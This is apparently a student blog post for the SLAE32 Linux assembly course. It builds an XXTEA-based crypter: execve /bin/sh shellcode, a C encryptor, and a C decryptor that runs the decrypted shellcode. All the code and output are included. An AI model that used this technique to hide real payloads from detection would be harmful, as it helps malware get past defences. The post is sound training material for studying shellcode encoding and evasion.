SLAE32: Creating custom crypter shellcode


The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990

Assignment #7


Description

  • Create a custom crypter like the one shown in the “crypters” video
  • Free to use any existing encryption schema
  • Can use any programming language

Choosing a symmetric encryption algorithm

For the encryption and decryption of the shellcode I have chosen to use the Corrected Block TEA (XXTEA) block cipher. Further reading on this implementation can be found here => XXTEA.


One round of XXTEA (Source)

As to not reimplement XXTEA itself I discovered a C implementation of the cipher on github at XXTEA encryption arithmetic library. This implementation will allow me to encrypt the shellcode and emmit it in shellcode form.

Shellcode to encrypt

I will be using some shellcode from earlier to spawn a simple /bin/sh. The assembly to spawn this shell is:

global _start			

section .text
_start:

	; PUSH the first null dword 
	xor eax, eax
	push eax

	; PUSH //bin/sh (8 bytes) 
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 11
	int 0x80

The generated shellcode from objdump that we will encrypt is:

[sengen@manjaro-x86 assignment7]$ objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Encrypting shellcode

For the encryption we will take the shellcode we generated above and hardcode it into our encrypt.c source code. Utilizing the XXTEA algorithm we’ll encrypt each byte and output it in shellcode format.

encrypt.c

#include <stdio.h>
#include <string.h>
#include "xxtea.h"

int main(int argc, char* argv[]) {
    if (argc != 2) {
        printf("%s\n", "usage: ./encrypt <key>");
        exit(1);
    }

    unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    size_t shellcode_len = strlen((const char *) shellcode);
    const char *key = argv[1];

    printf("%s\n", "Shellcode before encryption:");
    for (int counter = 0; counter < shellcode_len; ++counter) {
        printf("\\x%02x", shellcode[counter]);
    }

    size_t len;
    unsigned char *encrypt_data = xxtea_encrypt(shellcode, strlen(shellcode), key, &len);

    printf("\n\nEncrypted shellcode:\n");
    for (size_t counter = 0; counter < strlen(encrypt_data); counter += 2) {
        printf("\\x%02x\\x%02x", (int)encrypt_data[counter], (int)encrypt_data[counter+1]);
    }

    printf("\n");

    return 0;
}

Compiling and running the encrypt.c program

[sengen@manjaro-x86 assignment7]$ gcc -Wall encrypt.c xxtea.c xxtea.h -o encrypt
[sengen@manjaro-x86 assignment7]$ ./encrypt slae32-assembly-expert
Shellcode before encryption:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Encrypted shellcode:
\x5b\x69\x1c\xed\x22\x51\x2c\xcc\x53\x92\x18\xa4\xed\x12\x31\xb2\x86\xe0\x05\xfe\x96\xd5\x71\xd5\x7e\x5b\xd6\x10\x2f\xe9\xf5\x9e

Decrypting shellcode

Now we have an encrypted version of the shellcode. We’ll copy this out and place it into our decrypt.c program. This does the opposite and performs the decryptions of each byte and again we’ll print it to the screen. Additionally, we’ll now execute the shellcode which will spawn our /bin/sh.

#include <stdio.h>
#include <string.h>
#include "xxtea.h"

int main(int argc, char* argv[]) {
    if (argc != 2) {
        printf("%s\n", "usage: ./decrypt <key>");
        exit(1);
    }

    unsigned char encrypted_data[] = "\x5b\x69\x1c\xed\x22\x51\x2c\xcc\x53\x92\x18\xa4\xed\x12\x31\xb2\x86\xe0\x05\xfe\x96\xd5\x71\xd5\x7e\x5b\xd6\x10\x2f\xe9\xf5\x9e";
    size_t encrypted_data_len = strlen((const char *) encrypted_data);
    const char *key = argv[1];

    printf("%s\n", "Shellcode before decryption:");
    for (int counter = 0; counter < encrypted_data_len; ++counter) {
        printf("\\x%02x", encrypted_data[counter]);
    }

    size_t len;
    unsigned char *decrypted_data = xxtea_decrypt(encrypted_data, encrypted_data_len, key, &len);

    printf("\n\nDecrypted shellcode:\n");
    for (size_t counter = 0; counter < strlen(decrypted_data); counter += 2) {
        printf("\\x%02x\\x%02x", (int)decrypted_data[counter], (int)decrypted_data[counter+1]);
    }

    printf("\n\nExecuting shellcode.");

    int (*ret)() = (int(*)())decrypted_data;
    ret();

    return 0;
}

Compiling and running the decrypt.c program

[sengen@manjaro-x86 assignment7]$ gcc -Wall decrypt.c xxtea.c xxtea.h -o decrypt
[sengen@manjaro-x86 assignment7]$ ./decrypt slae32-assembly-expert
Shellcode before decryption:
\x5b\x69\x1c\xed\x22\x51\x2c\xcc\x53\x92\x18\xa4\xed\x12\x31\xb2\x86\xe0\x05\xfe\x96\xd5\x71\xd5\x7e\x5b\xd6\x10\x2f\xe9\xf5\x9e

Decrypted shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x00

sh-4.4$

Source code

All source code for this assignment can be found at
https://github.com/tdmathison/SLAE32/tree/master/assignment7.

comments powered by Disqus